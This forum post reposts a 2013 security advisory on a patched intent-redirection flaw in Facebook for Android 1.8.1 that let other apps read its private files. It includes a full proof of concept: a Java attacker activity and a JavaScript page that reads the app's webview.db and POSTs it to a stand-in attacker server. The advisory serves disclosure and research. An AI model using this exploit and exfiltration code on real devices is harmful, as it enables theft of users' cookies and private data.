boogy Posted January 8, 2013 Report Posted January 8, 2013 Affected Software: Facebook Application 1.8.1 for Android(Confirmed on Android 2.2)Credit: Takeshi TeradaIssue Status: v1.8.2 was released which fixes this vulnerabilityOverview:The LoginActivity of Facebook app has improper intent handling flaw.The flaw enables malicious apps to steal Facebook app's private files.Details:LoginActivity of Facebook app is "exported" to other apps. Whenthe activity is called and the user is logged-in to Facebook, theactivity pulls out an intent named "continuation_intent" from theextra data of the incoming intent. Then LoginActivity launchesanother activity by using continuation_intent.This behavior is dangerous because the actions described in theintent (continuation_intent) given by other apps is performedin the context (permission and identity) of Facebook app.This enables attacker's apps to call (and attack) Facebook app'sprivate (not "exported") activities, by using LoginActivity as astepping-stone.[Example of attack targeting FacebookWebViewActivity]FacebookWebViewActivity reads an URL string from incoming intent'sextra data, and loads the URL into its JavaScript-enabled WebView.FacebookWebViewActivity itself is not "exported" to other apps,so attacker's app cannot directy call it. But attacker's app canleverage the LoginActivity's flaw to relay a malicious intent toFacebookWebViewActivity, so that the activity loads an attacker-supplied URL into its WebView.In general, when an URL beginning with "file:///" is loaded in aWebView, the loaded page works in "Local Zone". "Local Zone" meansthat JavaScript in the page can read other local files, to which theWebView's owner process has read permission. XHR or so can be usedto read other local files. Thus the victim app's private files areto be disclosed to the attacker, if the attacker's app succeeds toinject an URL of attacker-supplied local HTML file into the victimapp's WebView.By using the method described above, attacker's app can get Facebookapp's private files such as files under /data/data/com.facebook.katana/directory.For more specific information, see the PoC code.Proof of Concept:++++++ Attacker's app (activity) ++++++// notice: for a successful attack, the victim user must be logged-in// to Facebook in advance.public class AttackFacebook extends Activity {// package name of Facebook appstatic final String FB_PKG = "com.facebook.katana";// LoginActivity of Facebook appstatic final String FB_LOGIN_ACTIVITY= FB_PKG + ".LoginActivity";// FacebookWebViewActivity of Facebook appstatic final String FB_WEBVIEW_ACTIVITY= FB_PKG + ".view.FacebookWebViewActivity";@Overridepublic void onCreate(Bundle bundle) {super.onCreate(bundle);attack();}// main methodpublic void attack() {// create continuation_intent to call FacebookWebViewActivity.Intent contIntent = new Intent();contIntent.setClassName(FB_PKG, FB_WEBVIEW_ACTIVITY);// URL pointing to malicious local file.// FacebookWebViewActivity will load this URL into its WebView.contIntent.putExtra("url", "file:///sdcard/attack.html");// create intent to be sent to LoginActivity.Intent intent = new Intent();intent.setClassName(FB_PKG, FB_LOGIN_ACTIVITY);intent.putExtra("login_redirect", false);// put continuation_intent into extra data of the intent.intent.putExtra(FB_PKG + ".continuation_intent", contIntent);// call LoginActivitythis.startActivity(intent);}}++++++ Attacker's HTML/JavaScript file ++++++<!--attacker's app should put this file to /sdcard/attack.html in advance--><html><body onload="doAttack()"><h1>attack.html</h1><script>// file path to steal. webview.db can be a good target for attackers// because it contains cookies, formdata etc.var target = "file:///data/data/com.facebook.katana/databases/webview.db";// get the contents of the target file by XHRfunction doAttack() {var xhr1 = new XMLHttpRequest();xhr1.overrideMimeType("text/plain; charset=iso-8859-1");xhr1.open("GET", target);xhr1.onreadystatechange = function() {if (xhr1.readyState == 4) {var content = xhr1.responseText;// send the content of the file to attacker's serversendFileToAttackerServer(content);// for debugdocument.body.appendChild(document.createTextNode(content));}};xhr1.send();}// Send the content of target file to the attacker's serverfunction sendFileToAttackerServer(content) {var xhr2 = new XMLHttpRequest();xhr2.open("POST", "http://www.example.jp/");xhr2.send(encodeURIComponent(content));}</script></body></html>Note:1. Android framework provides "PendingIntent" mechanism to safelyperform the actions of an intent given by untrusted apps. In some situations, it can be a good measure for this kind of vulns.2. Security of WebViews was improved in Android 4.1, so that attacksabusing WebViews may not work in apps built for recent versionsof Android.3. The issue in this advisory was fixed almost a year ago. But I thinkthe issue is quite unique and is interesting for Android securityresearchers, so I decided to disclose this old issue here.Timeline:2012/01/21 Reported to vender2012/02/02 Vender released fixed version (v1.8.2)2013/01/07 Disclosure of this advisoryRecommendation:Upgrade to the latest version.SourceFacebook For Android Information Disclosure - CXSecurity WLB Quote
